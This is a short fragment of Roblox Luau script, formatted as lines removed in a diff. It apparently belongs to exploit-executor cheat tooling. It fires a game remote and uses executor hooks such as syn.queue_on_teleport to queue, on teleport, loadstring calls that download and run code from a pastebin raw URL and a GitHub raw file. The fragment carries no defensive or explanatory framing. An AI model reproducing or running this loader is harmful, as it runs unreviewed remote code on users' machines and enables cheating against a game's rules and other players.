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- game:GetService("ReplicatedStorage").Remotes.AuditionerRemotes.RequestSolo:FireServer()
- queueteleport = (syn and syn.queue_on_teleport) or queue_on_teleport or (fluxus and fluxus.queue_on_teleport)
- game.Players.LocalPlayer.OnTeleport:Connect(function(State)
- queueteleport(`loadstring(game:HttpGet("https://pastebin.com/raw/KaaeAZ6L"))() wait(.5) loadstring(game:HttpGet("https://raw.githubusercontent.com/hellohellohell012321/TALENTLESS/main/TALENTLESS", true))()`)
- end)
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